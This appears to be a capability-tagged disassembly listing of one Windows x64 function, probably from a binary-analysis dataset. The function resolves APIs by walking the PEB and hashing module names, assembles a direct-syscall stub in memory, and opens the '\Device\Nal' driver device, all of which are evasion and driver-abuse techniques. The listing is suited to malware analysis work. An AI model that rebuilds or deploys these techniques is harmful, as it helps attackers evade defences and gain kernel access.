Function at 0x14011cac0
Capabilities:
Access peb ldr_data
Check os version
Get number of processors
Parse pe header

Disassembly:
push rsi
push rdi
mov eax, 0x13f68
call fcn.1403a70f0
sub rsp, rax
xor ecx, ecx
call fcn.1403c2ca8
mov qword [rsp + 0x7040], rax
call qword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov ecx, dword [rsp + 0x7040]
imul ecx, eax
mov eax, ecx
mov ecx, eax
call fcn.1403c0f8c
call fcn.140118e90
movzx eax, al
test eax, eax
je 0x14011cb10
mov rax, 0xffffffffffffffff
jmp 0x140158d4c
lea rax, [0x1404d0d40]
mov rdi, rax
xor eax, eax
mov ecx, 0x64
rep stosb byte [rdi], al
call fcn.1403c0f60
cdq
mov ecx, reloc.WS2_32.dll_sendto
idiv ecx
mov eax, edx
add eax, 0xa
mov dword [rsp + 0x3768], eax
mov dword [rsp + 0x198], 0
jmp 0x14011cb59
mov eax, dword [rsp + 0x198]
inc eax
mov dword [rsp + 0x198], eax
mov eax, dword [rsp + 0x3768]
cmp dword [rsp + 0x198], eax
jge 0x14011cb9c
call fcn.1403c0f60
cdqe
xor edx, edx
mov ecx, 0x34
div rcx
mov rax, rdx
lea rcx, str.abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ
movsxd rdx, dword [rsp + 0x198]
lea rdi, [0x1404d0d40]
movzx eax, byte [rcx + rax]
mov byte [rdi + rdx], al
jmp 0x14011cb49
lea rcx, [rsp + 0x15a0]
call fcn.1400f5750
nop
cmp qword [rsp + 0x15b0], 0
jne 0x14011cbc2
mov dword [rsp + 0xfbc], 1
jmp 0x14011cbcd
mov dword [rsp + 0xfbc], 0
movzx eax, byte [rsp + 0xfbc]
mov byte [rsp + 0x110], al
movzx eax, byte [rsp + 0x110]
test eax, eax
je 0x14011cc0e
mov qword [rsp + 0x7048], 0xffffffffffffffff
lea rcx, [rsp + 0x15a0]
call fcn.14018ddf0
mov rax, qword [rsp + 0x7048]
jmp 0x140158d4c
lea rax, [rsp + 0x15a0]
mov qword [rsp + 0x3b98], rax
mov rax, qword [rsp + 0x3b98]
mov qword [rsp + 0x4cb8], rax
mov rax, qword [rsp + 0x3b98]
cmp qword [rax + 0x18], 7
jbe 0x14011cc4a
mov dword [rsp + 0xfc0], 1
jmp 0x14011cc55
mov dword [rsp + 0xfc0], 0
movzx eax, byte [rsp + 0xfc0]
mov byte [rsp + 0x111], al
movzx eax, byte [rsp + 0x111]
test eax, eax
je 0x14011cc93
mov rax, qword [rsp + 0x3b98]
mov rax, qword [rax]
mov qword [rsp + 0x7050], rax
mov rax, qword [rsp + 0x7050]
mov qword [rsp + 0x4cb8], rax
mov rax, qword [rsp + 0x4cb8]
mov qword [rsp + 0x7058], rax
mov rax, qword [rsp + 0x7058]
mov qword [rsp + 0x7060], rax
mov rcx, qword [rsp + 0x7060]
call fcn.1403c1230
mov r8d, 0x8708
lea rdx, [0x1403f18a0]
lea rcx, [rsp + 0x15a0]
call fcn.1400d7bb0
movzx eax, al
test eax, eax
jne 0x14011cd07
mov qword [rsp + 0x7068], 0xffffffffffffffff
lea rcx, [rsp + 0x15a0]
call fcn.14018ddf0
mov rax, qword [rsp + 0x7068]
jmp 0x140158d4c
lea rcx, [rsp + 0x15a0]
call fcn.14015aab0
movzx eax, al
test eax, eax
jne 0x14011cd66
lea rax, [rsp + 0x15a0]
mov rcx, rax
call fcn.14018be10
mov qword [rsp + 0x7070], rax
mov rcx, qword [rsp + 0x7070]
call fcn.1403c1230
mov qword [rsp + 0x7078], 0xffffffffffffffff
lea rcx, [rsp + 0x15a0]
call fcn.14018ddf0
mov rax, qword [rsp + 0x7078]
jmp 0x140158d4c
lea rax, [rsp + 0xdfa0]
mov qword [rsp + 0x71f0], rax
mov dword [rsp + 0x376c], 0x9988a8a
lea rax, [rsp + 0xcedc]
mov qword [rsp + 0x4cc0], rax
mov rax, qword [rsp + 0x4cc0]
mov dword [rax], 0
mov rax, qword [rsp + 0x4cc0]
mov eax, dword [rax]
mov dword [rsp + 0x3780], eax
mov eax, dword [rsp + 0x376c]
mov dword [rsp + 0x548], eax
mov eax, dword [rsp + 0x548]
mov dword [rsp + 0x3770], eax
mov eax, dword [rsp + 0x3770]
mov dword [rsp + 0x3778], eax
lea rax, [0x1404d0cf0]
mov qword [rsp + 0x4cc8], rax
mov rax, qword [rsp + 0x4cc8]
mov qword [rsp + 0x7080], rax
mov rax, qword [rsp + 0x7080]
mov qword [rsp + 0xd0c8], rax
mov byte [rsp + 0xd0d0], 1
mov rax, qword [rsp + 0x4cc8]
mov rcx, rax
call sub.KERNEL32.dll_AcquireSRWLockShared
nop
lea rax, [0x1404d0cf0]
add rax, 8
mov qword [rsp + 0x7088], rax
lea r8, [rsp + 0x3778]
lea rdx, [rsp + 0x4ce0]
mov rcx, qword [rsp + 0x7088]
call fcn.140096f50
lea rax, [0x1404d0cf0]
add rax, 8
mov qword [rsp + 0x7090], rax
mov rax, qword [rsp + 0x7090]
add rax, 8
mov qword [rsp + 0x4cd0], rax
mov rax, qword [rsp + 0xdd18]
mov qword [rsp + 0x4cd8], rax
mov rax, qword [rsp + 0x4cd0]
mov qword [rsp + 0x4cd8], rax
mov rax, qword [rsp + 0x4cd0]
mov rax, qword [rax]
mov qword [rsp + 0x7098], rax
mov r8, qword [rsp + 0x4cd8]
mov rdx, qword [rsp + 0x7098]
lea rcx, [rsp + 0x70a0]
call fcn.14006f260
lea rax, [rsp + 0x70a0]
mov qword [rsp + 0x70a8], rax
mov rax, qword [rsp + 0x70a8]
mov rax, qword [rax]
cmp qword [rsp + 0x4ce0], rax
jne 0x14011cefb
mov dword [rsp + 0xfc4], 1
jmp 0x14011cf06
mov dword [rsp + 0xfc4], 0
movzx eax, byte [rsp + 0xfc4]
mov byte [rsp + 0x112], al
movzx eax, byte [rsp + 0x112]
test eax, eax
je 0x14011cf2f
mov qword [rsp + 0x4ce8], 0
jmp 0x14011cf97
mov rax, qword [rsp + 0x4ce0]
add rax, 0x10
mov qword [rsp + 0x70b0], rax
mov rax, qword [rsp + 0x70b0]
mov qword [rsp + 0x70b8], rax
mov rax, qword [rsp + 0x70b8]
mov qword [rsp + 0x70c0], rax
mov rax, qword [rsp + 0x70c0]
mov qword [rsp + 0x70c8], rax
mov rax, qword [rsp + 0x70c8]
mov qword [rsp + 0x70d0], rax
mov rax, qword [rsp + 0x70d0]
mov rax, qword [rax + 8]
mov qword [rsp + 0x4ce8], rax
mov rax, qword [rsp + 0x4ce8]
mov qword [rsp + 0x70e0], rax
movzx eax, byte [rsp + 0xd0d0]
test eax, eax
je 0x14011cfd3
mov rax, qword [rsp + 0xd0c8]
mov qword [rsp + 0x70d8], rax
mov rax, qword [rsp + 0x70d8]
mov rcx, rax
call sub.KERNEL32.dll_ReleaseSRWLockShared
mov rax, qword [rsp + 0x70e0]
mov qword [rsp + 0x1138], rax
cmp qword [rsp + 0x1138], 0
jne 0x14011ddee
mov eax, dword [rsp + 0x548]
mov dword [rsp + 0x3788], eax
mov eax, dword [rsp + 0x3780]
mov dword [rsp + 0xfd8], eax
mov eax, dword [rsp + 0x3788]
mov dword [rsp + 0x1000], eax
mov dword [rsp + 0x3790], 0
mov eax, dword [rsp + 0x3790]
cmp dword [rsp + 0x1000], eax
jne 0x14011d04b
xor eax, eax
cmp eax, 1
je 0x14011d04b
mov dword [rsp + 0xfc8], 1
jmp 0x14011d056
mov dword [rsp + 0xfc8], 0
movzx eax, byte [rsp + 0xfc8]
mov byte [rsp + 0x113], al
movzx eax, byte [rsp + 0x113]
test eax, eax
je 0x14011d082
mov qword [rsp + 0x1130], 0
jmp 0x14011dcee
mov byte [rsp + 0x52b], 1
mov qword [rsp + 0x6c80], 0
mov qword [rsp + 0x6c88], 0
mov rax, qword gs:[0x60]
mov qword [rsp + 0x70e8], rax
mov rax, qword [rsp + 0x70e8]
mov rax, qword [rax + 0x18]
mov qword [rsp + 0x70f0], rax
mov rax, qword [rsp + 0x70f0]
add rax, 0x10
mov qword [rsp + 0x3ba0], rax
mov eax, 1
test eax, eax
je 0x14011d0fc
mov rax, qword [rsp + 0x3ba0]
mov rax, qword [rax]
mov rax, qword [rax]
mov qword [rsp + 0x4cf0], rax
jmp 0x14011d10f
mov rax, qword [rsp + 0x3ba0]
mov rax, qword [rax]
mov qword [rsp + 0x4cf0], rax
mov rax, qword [rsp + 0x4cf0]
mov qword [rsp + 0x6c80], rax
mov rax, qword [rsp + 0x3ba0]
mov qword [rsp + 0x6c88], rax
lea rax, [rsp + 0x6c80]
mov qword [rsp + 0x4cf8], rax
mov rax, qword [rsp + 0x4cf8]
mov rax, qword [rax]
mov qword [rsp + 0x70f8], rax
mov rax, qword [rsp + 0x70f8]
mov qword [rsp + 0x1598], rax
mov rax, qword [rsp + 0x4cf8]
mov rax, qword [rax + 8]
mov qword [rsp + 0x7100], rax
mov rax, qword [rsp + 0x7100]
mov qword [rsp + 0x7108], rax
jmp 0x14011d19b
mov rax, qword [rsp + 0x1598]
mov rax, qword [rax]
mov qword [rsp + 0x1598], rax
mov rax, qword [rsp + 0x7108]
cmp qword [rsp + 0x1598], rax
je 0x14011d1ba
mov dword [rsp + 0xfcc], 1
jmp 0x14011d1c5
mov dword [rsp + 0xfcc], 0
movzx eax, byte [rsp + 0xfcc]
test eax, eax
je 0x14011dce2
xor eax, eax
mov qword [rsp + 0x7110], rax
mov rax, qword [rsp + 0x7110]
mov rcx, qword [rsp + 0x1598]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x7118], rax
lea rax, [rsp + 0x7118]
mov qword [rsp + 0x4d08], rax
mov dword [rsp + 0x3794], 0
mov eax, dword [rsp + 0x3794]
cmp dword [rsp + 0xfd8], eax
jne 0x14011d23c
xor eax, eax
cmp eax, 1
je 0x14011d23c
mov dword [rsp + 0xfd0], 1
jmp 0x14011d247
mov dword [rsp + 0xfd0], 0
movzx eax, byte [rsp + 0xfd0]
mov byte [rsp + 0xb0], al
movzx eax, byte [rsp + 0xb0]
test eax, eax
jne 0x14011d586
mov rax, qword [rsp + 0x4d08]
mov rax, qword [rax]
add rax, 0x58
mov qword [rsp + 0x7120], rax
mov rax, qword [rsp + 0x7120]
mov rax, qword [rax + 8]
mov qword [rsp + 0x4d00], rax
mov rax, qword [rsp + 0x4d00]
mov qword [rsp + 0xd6f0], rax
mov rax, qword [rsp + 0x4d00]
mov qword [rsp + 0x7128], rax
mov qword [rsp + 0x1120], 0xffffffffffffffff
inc qword [rsp + 0x1120]
mov rax, qword [rsp + 0x7128]
mov rcx, qword [rsp + 0x1120]
cmp word [rax + rcx*2], 0
jne 0x14011d2bd
mov rax, qword [rsp + 0x1120]
mov qword [rsp + 0x7130], rax
mov rax, qword [rsp + 0x7130]
mov qword [rsp + 0xd6f8], rax
lea rax, [rsp + 0xd6f0]
mov qword [rsp + 0x7138], rax
lea rax, [rsp + 0xdee0]
mov rdi, rax
mov rsi, qword [rsp + 0x7138]
mov ecx, reloc.WS2_32.dll_recv
rep movsb byte [rdi], byte [rsi]
mov eax, dword [rsp + 0xfd8]
mov dword [rsp + 0x3798], eax
lea rax, [rsp + 0xd0e0]
lea rcx, [rsp + 0xdee0]
mov rdi, rax
mov rsi, rcx
mov ecx, reloc.WS2_32.dll_recv
rep movsb byte [rdi], byte [rsi]
mov eax, dword [rsp + 0x3798]
mov dword [rsp + 0xff0], eax
lea rax, [rsp + 0xfe0]
mov rdi, rax
xor eax, eax
mov ecx, 4
rep stosb byte [rdi], al
mov dword [rsp + 0xfe0], 0x1b6e1b1e
lea rax, [rsp + 0xfe0]
mov qword [rsp + 0x7140], rax
lea rax, [rsp + 0xdef0]
lea rcx, [rsp + 0xd0e0]
mov rdi, rax
mov rsi, rcx
mov ecx, reloc.WS2_32.dll_recv
rep movsb byte [rdi], byte [rsi]
lea rax, [rsp + 0xdf00]
lea rcx, [rsp + 0xdef0]
mov rdi, rax
mov rsi, rcx
mov ecx, reloc.WS2_32.dll_recv
rep movsb byte [rdi], byte [rsi]
lea rdx, [rsp + 0xdf00]
mov rcx, qword [rsp + 0x7140]
call fcn.140097890
mov dword [rsp + 0x379c], eax
mov rax, qword [rsp + 0xd0e8]
mov qword [rsp + 0x7148], rax
mov rax, qword [rsp + 0x7148]
sub rax, 4
mov qword [rsp + 0x7150], rax
mov r9, qword [rsp + 0x7150]
xor r8d, r8d
lea rdx, [rsp + 0xdf10]
lea rcx, [rsp + 0xd0e0]
call fcn.14019ab70
lea rax, [rsp + 0xfe4]
mov rdi, rax
xor eax, eax
mov ecx, 4
rep stosb byte [rdi], al
mov dword [rsp + 0xfe4], 0x1b6e1b1e
lea rax, [rsp + 0xfe4]
mov qword [rsp + 0x7158], rax
lea rax, [rsp + 0xdf20]
lea rcx, [rsp + 0xdf10]
mov rdi, rax
mov rsi, rcx
mov ecx, reloc.WS2_32.dll_recv
rep movsb byte [rdi], byte [rsi]
lea rax, [rsp + 0xdf30]
lea rcx, [rsp + 0xdf20]
mov rdi, rax
mov rsi, rcx
mov ecx, reloc.WS2_32.dll_recv
rep movsb byte [rdi], byte [rsi]
lea rdx, [rsp + 0xdf30]
mov rcx, qword [rsp + 0x7158]
call fcn.140097890
mov dword [rsp + 0x37a4], eax
mov eax, dword [rsp + 0x379c]
mov dword [rsp + 0x37a0], eax
mov eax, dword [rsp + 0x37a0]
cmp dword [rsp + 0xff0], eax
jne 0x14011d4df
xor eax, eax
cmp eax, 1
je 0x14011d4df
mov dword [rsp + 0xfe8], 1
jmp 0x14011d4ea
mov dword [rsp + 0xfe8], 0
movzx eax, byte [rsp + 0xfe8]
mov byte [rsp + 0xb1], al
movzx eax, byte [rsp + 0xb1]
test eax, eax
jne 0x14011d56a
mov eax, dword [rsp + 0x37a4]
mov dword [rsp + 0x37a8], eax
mov eax, dword [rsp + 0x37a8]
cmp dword [rsp + 0xff0], eax
jne 0x14011d537
xor eax, eax
cmp eax, 1
je 0x14011d537
mov dword [rsp + 0xff8], 1
jmp 0x14011d542
mov dword [rsp + 0xff8], 0
movzx eax, byte [rsp + 0xff8]
mov byte [rsp + 0xb2], al
movzx eax, byte [rsp + 0xb2]
test eax, eax
jne 0x14011d56a
mov dword [rsp + 0xffc], 1
jmp 0x14011d575
mov dword [rsp + 0xffc], 0
movzx eax, byte [rsp + 0xffc]
test eax, eax
je 0x14011d586
jmp 0x14011d188
mov rax, qword [rsp + 0x4d08]
mov rax, qword [rax]
mov rax, qword [rax + 0x30]
mov qword [rsp + 0x4d10], rax
mov rax, qword [rsp + 0x4d10]
mov qword [rsp + 0x42e0], rax
mov rax, qword [rsp + 0x4d10]
mov qword [rsp + 0x7160], rax
mov rax, qword [rsp + 0x7160]
mov qword [rsp + 0x4d18], rax
mov rax, qword [rsp + 0x4d18]
mov eax, dword [rax + 0x3c]
mov rcx, qword [rsp + 0x4d18]
mov rax, qword [rcx + rax + 0x88]
mov qword [rsp + 0x7168], rax
mov eax, dword [rsp + 0x7168]
add rax, qword [rsp + 0x42e0]
mov qword [rsp + 0x7170], rax
mov rax, qword [rsp + 0x7170]
mov qword [rsp + 0x42e8], rax
mov eax, dword [rsp + 0x1000]
mov dword [rsp + 0x37ac], eax
mov eax, dword [rsp + 0x37ac]
mov dword [rsp + 0x37b0], eax
lea rdx, [rsp + 0x13d30]
lea rcx, [rsp + 0x42e0]
call fcn.1401906d0
lea rcx, [rsp + 0x132e0]
mov rdi, rcx
mov rsi, rax
mov ecx, Ordinal_41
rep movsb byte [rdi], byte [rsi]
lea rdx, [rsp + 0x13d58]
lea rcx, [rsp + 0x42e0]
call fcn.14018ec60
lea rcx, [rsp + 0x13308]
mov rdi, rcx
mov rsi, rax
mov ecx, Ordinal_41
rep movsb byte [rdi], byte [rsi]
lea rax, [rsp + 0x12e60]
lea rcx, [rsp + 0x132e0]
mov rdi, rax
mov rsi, rcx
mov ecx, Ordinal_41
rep movsb byte [rdi], byte [rsi]
lea rax, [rsp + 0x12e90]
lea rcx, [rsp + 0x13308]
mov rdi, rax
mov rsi, rcx
mov ecx, Ordinal_41
rep movsb byte [rdi], byte [rsi]
mov r9d, dword [rsp + 0x37b0]
lea r8, [rsp + 0x12e60]
lea rdx, [rsp + 0x12e90]
lea rcx, [rsp + 0x118e0]
call fcn.140097110
lea rdx, [rsp + 0x13d80]
lea rcx, [rsp + 0x42e0]
call fcn.1401906d0
mov qword [rsp + 0x4d20], rax
mov rax, qword [rsp + 0x4d20]
mov rax, qword [rax + 8]
cmp qword [rsp + 0x118e8], rax
jne 0x14011d73b
mov rax, qword [rsp + 0x4d20]
mov rax, qword [rax]
cmp qword [rsp + 0x118e0], rax
jne 0x14011d73b
mov dword [rsp + 0x1008], 1
jmp 0x14011d746
mov dword [rsp + 0x1008], 0
movzx eax, byte [rsp + 0x1008]
mov byte [rsp + 0xb3], al
movzx eax, byte [rsp + 0xb3]
test eax, eax
je 0x14011d766
jmp 0x14011d188
mov eax, reloc.WLDAP32.dll_Ordinal_32
mov eax, eax
mov ecx, dword [0x1404d6060]
mov rdx, qword gs:[0x58]
mov rcx, qword [rdx + rcx*8]
mov eax, dword [rcx + rax]
and eax, 1
test eax, eax
jne 0x14011d82c
mov eax, reloc.WLDAP32.dll_Ordinal_32
mov eax, eax
mov ecx, dword [0x1404d6060]
mov rdx, qword gs:[0x58]
mov rcx, qword [rdx + rcx*8]
mov eax, dword [rcx + rax]
or eax, 1
mov ecx, dword [0x1404d6060]
mov rdx, qword gs:[0x58]
mov edi, reloc.WLDAP32.dll_Ordinal_32
mov edi, edi
mov rcx, qword [rdx + rcx*8]
mov dword [rdi + rcx], eax
mov eax, 8
mov eax, eax
mov ecx, dword [0x1404d6060]
mov rdx, qword gs:[0x58]
add rax, qword [rdx + rcx*8]
mov qword [rsp + 0x4d30], rax
mov rax, qword [rsp + 0x4d30]
mov qword [rsp + 0x4d28], rax
mov rax, qword [rsp + 0x4d28]
mov qword [rax], 0
mov rax, qword [rsp + 0x4d28]
mov qword [rax + 8], 0
mov rax, qword [rsp + 0x4d30]
mov qword [rax + 0x10], 0
lea rax, [rsp + 0x118f0]
mov qword [rsp + 0x4d38], rax
mov rax, qword [rsp + 0x4d38]
mov qword [rsp + 0xdd20], rax
mov rax, qword [rsp + 0x4d38]
add rax, 0x10
mov qword [rsp + 0x3bb8], rax
mov rax, qword [rsp + 0x3bb8]
mov rax, qword [rax]
mov qword [rsp + 0x4d58], rax
mov rax, qword [rsp + 0x42e0]
mov qword [rsp + 0x7178], rax
mov rax, qword [rsp + 0x7178]
mov qword [rsp + 0x4d40], rax
mov rax, qword [rsp + 0x4d40]
mov eax, dword [rax + 0x3c]
mov rcx, qword [rsp + 0x4d40]
mov rax, qword [rcx + rax + 0x88]
mov qword [rsp + 0x4d48], rax
mov eax, dword [rsp + 0x4d48]
add rax, qword [rsp + 0x42e0]
mov qword [rsp + 0x4d50], rax
mov eax, dword [rsp + 0x4d4c]
mov rcx, qword [rsp + 0x4d50]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x7180], rax
mov rax, qword [rsp + 0x4d50]
cmp qword [rsp + 0x4d58], rax
jb 0x14011d91b
mov rax, qword [rsp + 0x7180]
cmp qword [rsp + 0x4d58], rax
jae 0x14011d91b
mov dword [rsp + 0x100c], 1
jmp 0x14011d926
mov dword [rsp + 0x100c], 0
movzx eax, byte [rsp + 0x100c]
mov byte [rsp + 0xb4], al
movzx eax, byte [rsp + 0xb4]
test eax, eax
je 0x14011dcc8
mov rax, qword [rsp + 0x3bb8]
mov rax, qword [rax]
mov qword [rsp + 0x7188], rax
mov rax, qword [rsp + 0x7188]
mov qword [rsp + 0x4d60], rax
lea rax, [rsp + 0x12238]
mov qword [rsp + 0x3ba8], rax
mov rax, qword [rsp + 0x3ba8]
mov rcx, qword [rsp + 0x4d60]
mov qword [rax], rcx
mov rax, qword [rsp + 0x4d60]
mov qword [rsp + 0x7190], rax
mov qword [rsp + 0x1128], 0xffffffffffffffff
inc qword [rsp + 0x1128]
mov rax, qword [rsp + 0x7190]
mov rcx, qword [rsp + 0x1128]
cmp byte [rax + rcx], 0
jne 0x14011d9a7
mov rax, qword [rsp + 0x1128]
mov qword [rsp + 0x7198], rax
mov rax, qword [rsp + 0x3ba8]
mov rcx, qword [rsp + 0x7198]
mov qword [rax + 8], rcx
lea rax, [rsp + 0x60f0]
mov rdi, rax
mov rsi, qword [rsp + 0x3ba8]
mov ecx, reloc.WS2_32.dll_recv
rep movsb byte [rdi], byte [rsi]
mov r9b, reloc.WLDAP32.dll_Ordinal_46
xor r8d, r8d
mov rdx, qword [rsp + 0x60f8]
mov rcx, qword [rsp + 0x60f0]
call fcn.140096220
mov qword [rsp + 0x3bb0], rax
cmp qword [rsp + 0x3bb0], 0xffffffffffffffff
je 0x14011dabb
mov r9, qword [rsp + 0x3bb0]
xor r8d, r8d
lea rdx, [rsp + 0xdf40]
lea rcx, [rsp + 0x60f0]
call fcn.14019aaa0
mov rax, qword [rsp + 0x3bb0]
inc rax
mov r9, 0xffffffffffffffff
mov r8, rax
lea rdx, [rsp + 0xdf50]
lea rcx, [rsp + 0x60f0]
call fcn.14019aaa0
lea rax, [rsp + 0xd660]
lea rcx, [rsp + 0xdf40]
mov rdi, rax
mov rsi, rcx
mov ecx, reloc.WS2_32.dll_recv
rep movsb byte [rdi], byte [rsi]
lea rax, [rsp + 0xd670]
lea rcx, [rsp + 0xdf50]
mov rdi, rax
mov rsi, rcx
mov ecx, reloc.WS2_32.dll_recv
rep movsb byte [rdi], byte [rsi]
jmp 0x14011db1a
lea rax, [rsp + 0x60f0]
mov qword [rsp + 0x71a0], rax
mov qword [rsp + 0xd700], 0
mov qword [rsp + 0xd708], 0
lea rax, [rsp + 0xd660]
mov rdi, rax
mov rsi, qword [rsp + 0x71a0]
mov ecx, reloc.WS2_32.dll_recv
rep movsb byte [rdi], byte [rsi]
lea rax, [rsp + 0xd670]
lea rcx, [rsp + 0xd700]
mov rdi, rax
mov rsi, rcx
mov ecx, reloc.WS2_32.dll_recv
rep movsb byte [rdi], byte [rsi]
lea rax, [rsp + 0xd660]
mov qword [rsp + 0x71a8], rax
lea rax, [rsp + 0xd670]
mov qword [rsp + 0x71b8], rax
lea rax, [rsp + 0xcee0]
mov qword [rsp + 0x4d68], rax
lea rax, [rsp + 0x1010]
mov rdi, rax
xor eax, eax
mov ecx, 4
rep stosb byte [rdi], al
mov dword [rsp + 0x1010], 0x1b6e1b1e
lea rax, [rsp + 0x1010]
mov qword [rsp + 0x71b0], rax
lea rax, [rsp + 0xdf60]
mov rdi, rax
mov rsi, qword [rsp + 0x71a8]
mov ecx, reloc.WS2_32.dll_recv
rep movsb byte [rdi], byte [rsi]
lea rax, [rsp + 0xdf70]
lea rcx, [rsp + 0xdf60]
mov rdi, rax
mov rsi, rcx
mov ecx, reloc.WS2_32.dll_recv
rep movsb byte [rdi], byte [rsi]
lea rdx, [rsp + 0xdf70]
mov rcx, qword [rsp + 0x71b0]
call fcn.1400977d0
mov dword [rsp + 0x37b8], eax
mov rax, qword [rsp + 0x4d68]
mov ecx, dword [rsp + 0x37b8]
mov dword [rax], ecx
mov rax, qword [rsp + 0x4d68]
mov eax, dword [rax]
mov dword [rsp + 0x37c8], eax
lea rax, [rsp + 0xcee4]
mov qword [rsp + 0x4d70], rax
lea rax, [rsp + 0x1014]
mov rdi, rax
xor eax, eax
mov ecx, 4
rep stosb byte [rdi], al
mov dword [rsp + 0x1014], 0x1b6e1b1e
lea rax, [rsp + 0x1014]
mov qword [rsp + 0x71c0], rax
lea rax, [rsp + 0xdf80]
mov rdi, rax
mov rsi, qword [rsp + 0x71b8]
mov ecx, reloc.WS2_32.dll_recv
rep movsb byte [rdi], byte [rsi]
lea rax, [rsp + 0xdf90]
lea rcx, [rsp + 0xdf80]
mov rdi, rax
mov rsi, rcx
mov ecx, reloc.WS2_32.dll_recv
rep movsb byte [rdi], byte [rsi]
lea rdx, [rsp + 0xdf90]
mov rcx, qword [rsp + 0x71c0]
call fcn.1400977d0
mov dword [rsp + 0x37c0], eax
mov rax, qword [rsp + 0x4d70]
mov ecx, dword [rsp + 0x37c0]
mov dword [rax], ecx
mov rax, qword [rsp + 0x4d70]
mov eax, dword [rax]
mov dword [rsp + 0x37cc], eax
mov r8d, dword [rsp + 0x37c8]
mov edx, dword [rsp + 0x37cc]
lea rcx, [rsp + 0x4d78]
call fcn.140191150
mov qword [rsp + 0x1130], rax
jmp 0x14011dcee
mov rax, qword [rsp + 0x3bb8]
mov rax, qword [rax]
mov qword [rsp + 0x1130], rax
jmp 0x14011dcee
mov qword [rsp + 0x1130], 0
mov rax, qword [rsp + 0x1130]
mov qword [rsp + 0x4d78], rax
mov rax, qword [rsp + 0x4d78]
mov qword [rsp + 0x1138], rax
mov eax, dword [rsp + 0x548]
mov dword [rsp + 0x37d0], eax
mov rax, qword [rsp + 0x1138]
mov qword [rsp + 0x71d8], rax
mov eax, dword [rsp + 0x37d0]
mov dword [rsp + 0x37d8], eax
lea rax, [0x1404d0cf0]
mov qword [rsp + 0x71c8], rax
mov rax, qword [rsp + 0x71c8]
mov qword [rsp + 0x6100], rax
mov byte [rsp + 0x6108], 0
mov rax, qword [rsp + 0x6100]
mov qword [rsp + 0x71d0], rax
mov rax, qword [rsp + 0x71d0]
mov rcx, rax
call sub.KERNEL32.dll_AcquireSRWLockExclusive
mov byte [rsp + 0x6108], 1
lea rax, [0x1404d0cf0]
add rax, 8
mov qword [rsp + 0x71e0], rax
lea r9, [rsp + 0x71d8]
lea r8, [rsp + 0x37d8]
lea rdx, [rsp + 0x12248]
mov rcx, qword [rsp + 0x71e0]
call fcn.140098320
nop
movzx eax, byte [rsp + 0x6108]
test eax, eax
je 0x14011ddee
mov rax, qword [rsp + 0x6100]
mov qword [rsp + 0x71e8], rax
mov rax, qword [rsp + 0x71e8]
mov rcx, rax
call sub.KERNEL32.dll_ReleaseSRWLockExclusive
mov rax, qword [rsp + 0x1138]
mov qword [rsp + 0x4d80], rax
mov byte [rsp + 0x52c], 0
mov byte [rsp + 0x52d], 0
lea rax, str.DeviceNal
mov qword [rsp + 0x71f8], rax
mov byte [rsp + 0x52e], 0
mov byte [rsp + 0x52f], 0
mov rax, qword [rsp + 0x71f0]
mov qword [rsp + 0x7200], rax
cmp qword [rsp + 0x4d80], 0
jne 0x14011de4a
jmp 0x14011de72
mov rax, qword [rsp + 0x4d80]
mov qword [rsp + 0x7208], rax
mov rdx, qword [rsp + 0x71f8]
mov rcx, qword [rsp + 0x7200]
call qword [rsp + 0x7208]
nop
mov dword [rsp + 0xdc00], 0x30
mov qword [rsp + 0xdc08], 0
mov dword [rsp + 0xdc18], 0x40
lea rax, [rsp + 0xdfa0]
mov qword [rsp + 0xdc10], rax
mov qword [rsp + 0xdc20], 0
mov qword [rsp + 0xdc28], 0
mov dword [rsp + 0x3828], 0
mov dword [rsp + 0x382c], 0
mov dword [rsp + 0x3830], 0
mov dword [rsp + 0x3834], 1
mov dword [rsp + 0x3838], 0
mov dword [rsp + 0x383c], 0x80
mov dword [rsp + 0x3840], 0
lea rax, [rsp + 0x12258]
mov qword [rsp + 0x7218], rax
lea rax, [rsp + 0xdc00]
mov qword [rsp + 0x7220], rax
mov dword [rsp + 0x3844], 0xc0000000
lea rax, [rsp + 0xa8]
mov qword [rsp + 0x7228], rax
mov dword [rsp + 0x37e0], 0x4208ce5c
mov eax, dword [rsp + 0x37e0]
mov dword [rsp + 0x37e8], eax
mov eax, dword [rsp + 0x37e8]
mov dword [rsp + 0x37f0], eax
mov eax, dword [rsp + 0x37f0]
mov dword [rsp + 0x6208], eax
mov dword [rsp + 0x620c], 0
lea rax, [rsp + 0x6210]
mov qword [rsp + 0x7210], rax
mov dword [rsp + 0x3824], 0x49
mov dword [rsp + 0x3820], 0x89
mov dword [rsp + 0x381c], 0xca
mov dword [rsp + 0x3818], 0x48
mov dword [rsp + 0x3814], 0xc7
mov dword [rsp + 0x3810], 0xc0
mov dword [rsp + 0x380c], 0x3f
mov dword [rsp + 0x3808], 0x10
mov dword [rsp + 0x3804], 0
mov dword [rsp + 0x3800], 0
mov dword [rsp + 0x37fc], 0xf
mov dword [rsp + 0x37f8], 5
mov dword [rsp + 0x37f4], 0xc3
lea rax, [rsp + 0x37f4]
mov qword [rsp + 0x68], rax
lea rax, [rsp + 0x37f8]
mov qword [rsp + 0x60], rax
lea rax, [rsp + 0x37fc]
mov qword [rsp + 0x58], rax
lea rax, [rsp + 0x3800]
mov qword [rsp + 0x50], rax
lea rax, [rsp + 0x3804]
mov qword [rsp + 0x48], rax
lea rax, [rsp + 0x3808]
mov qword [rsp + 0x40], rax
lea rax, [rsp + 0x380c]
mov qword [rsp + 0x38], rax
lea rax, [rsp + 0x3810]
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x3814]
mov qword [rsp + 0x28], rax
lea rax, [rsp + 0x3818]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x381c]
lea r8, [rsp + 0x3820]
lea rdx, [rsp + 0x3824]
mov rcx, qword [rsp + 0x7210]
call fcn.14008f900
mov byte [rsp + 0x530], 1
mov byte [rsp + 0x531], 0
movsxd rax, dword [rsp + 0x3828]
mov qword [rsp + 0x73e8], rax
mov byte [rsp + 0x532], 1
mov byte [rsp + 0x533], 0
movsxd rax, dword [rsp + 0x382c]
mov qword [rsp + 0x73f0], rax
mov byte [rsp + 0x534], 1
mov byte [rsp + 0x535], 0
movsxd rax, dword [rsp + 0x3830]
mov qword [rsp + 0x73f8], rax
mov byte [rsp + 0x537], 1
mov byte [rsp + 0x538], 0
movsxd rax, dword [rsp + 0x3834]
mov qword [rsp + 0x7400], rax
mov byte [rsp + 0x539], 1
